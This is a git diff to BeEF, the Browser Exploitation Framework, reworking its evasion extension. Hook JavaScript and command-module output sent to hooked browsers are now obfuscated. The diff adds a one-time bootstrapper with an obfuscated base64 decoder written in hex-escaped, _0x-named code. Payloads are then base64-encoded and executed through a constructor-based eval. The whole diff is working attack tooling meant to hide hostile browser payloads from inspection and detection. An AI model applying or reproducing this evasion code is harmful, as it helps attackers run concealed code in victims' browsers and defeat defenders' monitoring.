diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 2b8125c11..92473876d 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -77,7 +77,7 @@ module Modules if config.get("beef.extension.evasion.enable") evasion = BeEF::Extension::Evasion::Evasion.instance - @hook = evasion.obfuscate(@hook) + @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) end @body << @hook diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 25c11865d..9d7646614 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -50,26 +50,34 @@ module BeEF build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? ws = BeEF::Core::Websocket::Websocket.instance + + if config.get("beef.extension.evasion.enable") + evasion = BeEF::Extension::Evasion::Evasion.instance + @output = evasion.obfuscate(command_module.output) + else + @output = command_module.output + end + #todo antisnatchor: remove this gsub crap adding some hook packing. if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session) - content = command_module.output.gsub('// - // Copyright 2012 Wade Alcorn wade@bindshell.net - // - // Licensed under the Apache License, Version 2.0 (the "License"); - // you may not use this file except in compliance with the License. - // You may obtain a copy of the License at - // - // http://www.apache.org/licenses/LICENSE-2.0 - // - // Unless required by applicable law or agreed to in writing, software - // distributed under the License is distributed on an "AS IS" BASIS, - // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - // See the License for the specific language governing permissions and - // limitations under the License. - //', "") - ws.send(content, hooked_browser.session) + #content = command_module.output.gsub('// + #// Copyright 2012 Wade Alcorn wade@bindshell.net + #// + #// Licensed under the Apache License, Version 2.0 (the "License"); + #// you may not use this file except in compliance with the License. + #// You may obtain a copy of the License at + #// + #// http://www.apache.org/licenses/LICENSE-2.0 + #// + #// Unless required by applicable law or agreed to in writing, software + #// distributed under the License is distributed on an "AS IS" BASIS, + #// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + #// See the License for the specific language governing permissions and + #// limitations under the License. + #//', "") + ws.send(@output, hooked_browser.session) else - @body << command_module.output + "\n\n" + @body << @output + "\n\n" end # @note prints the event to the console if BeEF::Settings.console? diff --git a/extensions/evasion/evasion.rb b/extensions/evasion/evasion.rb index 044e63b7b..b86cca957 100644 --- a/extensions/evasion/evasion.rb +++ b/extensions/evasion/evasion.rb @@ -29,8 +29,24 @@ module BeEF @input = apply_chain(input, @@techniques) end - def inject_boostrapper(input) + def add_bootstrapper + @bootstrap = '' # add stuff at the end, only once (when serving the initial init javascript) + @@techniques.each do |technique| + #1. get the ruby module inside the obfuscation directory: the file name will be the same of the string used in "chain" + #2. call the "execute" method of the ruby module, passing the input + #3. update the input in order that next technique will work on the pre-processed input. + if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb") + print_debug "[OBFUSCATION] Applying technique [#{technique}]" + klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance + is_bootstrap_needed = klass.need_bootstrap + if is_bootstrap_needed + @bootstrap += klass.get_bootstrap + end + end + @bootstrap + end + @bootstrap end def apply_chain(input, techniques) @@ -41,8 +57,7 @@ module BeEF #3. update the input in order that next technique will work on the pre-processed input. if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb") print_debug "[OBFUSCATION] Applying technique [#{technique}]" - klass = BeEF::Extension::Evasion.const_get(technique.capitalize) - klass = klass.instance + klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance @output = klass.execute(@output, @@config) end @output diff --git a/extensions/evasion/obfuscation/base_64.rb b/extensions/evasion/obfuscation/base_64.rb index b2ce0cd8e..cf8a55309 100644 --- a/extensions/evasion/obfuscation/base_64.rb +++ b/extensions/evasion/obfuscation/base_64.rb @@ -19,12 +19,20 @@ module BeEF class Base_64 include Singleton + def need_bootstrap + true + end + + def get_bootstrap + # the decode function is obfuscated, and it's called "dec" (see below in "execute", where it is used) + decode_function = 'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};' + end + def execute(input, config) encoded = Base64.strict_encode64(input) # basically, use atob if supported otherwise a normal base64 JS implementation (ie.: IE :-) - decode_function = 'var _0x33db=["\x61\x74\x6F\x62","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x6A\x6F\x69\x6E"];function dec(_0x487fx2){if(window[_0x33db[0]]){return atob(_0x487fx2);} ;var _0x487fx3=_0x33db[1];var _0x487fx4,_0x487fx5,_0x487fx6,_0x487fx7,_0x487fx8,_0x487fx9,_0x487fxa,_0x487fxb,_0x487fxc=0,_0x487fxd=0,dec=_0x33db[2],_0x487fxe=[];if(!_0x487fx2){return _0x487fx2;} ;_0x487fx2+=_0x33db[2];do{_0x487fx7=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx8=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fx9=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxa=_0x487fx3[_0x33db[4]](_0x487fx2[_0x33db[3]](_0x487fxc++));_0x487fxb=_0x487fx7<<18|_0x487fx8<<12|_0x487fx9<<6|_0x487fxa;_0x487fx4=_0x487fxb>>16&0xff;_0x487fx5=_0x487fxb>>8&0xff;_0x487fx6=_0x487fxb&0xff;if(_0x487fx9==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4);} else {if(_0x487fxa==64){_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5);} else {_0x487fxe[_0x487fxd++]=String[_0x33db[5]](_0x487fx4,_0x487fx5,_0x487fx6);} ;} ;} while(_0x487fxc<_0x487fx2[_0x33db[6]]);;dec=_0x487fxe[_0x33db[7]](_0x33db[2]);return dec;};' var_name = BeEF::Extension::Evasion::Helper::random_string(3) - input = "var #{var_name}=\"#{encoded}\";#{decode_function}[].constructor.constructor(dec(#{var_name}))();" + input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(dec(#{var_name}))();" print_debug "[OBFUSCATION - BASE64] Javascript has been base64'ed'" input end diff --git a/extensions/evasion/obfuscation/minify.rb b/extensions/evasion/obfuscation/minify.rb index ec15424d5..048d5d53b 100644 --- a/extensions/evasion/obfuscation/minify.rb +++ b/extensions/evasion/obfuscation/minify.rb @@ -19,6 +19,11 @@ module BeEF require 'jsmin' class Minify include Singleton + + def need_bootstrap + false + end + def execute(input, config) input = JSMin.minify(input) print_debug "[OBFUSCATION - MINIFIER] Javascript has been minified" diff --git a/extensions/evasion/obfuscation/scramble.rb b/extensions/evasion/obfuscation/scramble.rb index fda8c1aa5..419bf4670 100644 --- a/extensions/evasion/obfuscation/scramble.rb +++ b/extensions/evasion/obfuscation/scramble.rb @@ -18,6 +18,11 @@ module BeEF module Evasion class Scramble include Singleton + + def need_bootstrap + false + end + def execute(input, config) @output = input to_scramble = config.get('beef.extension.evasion.scramble')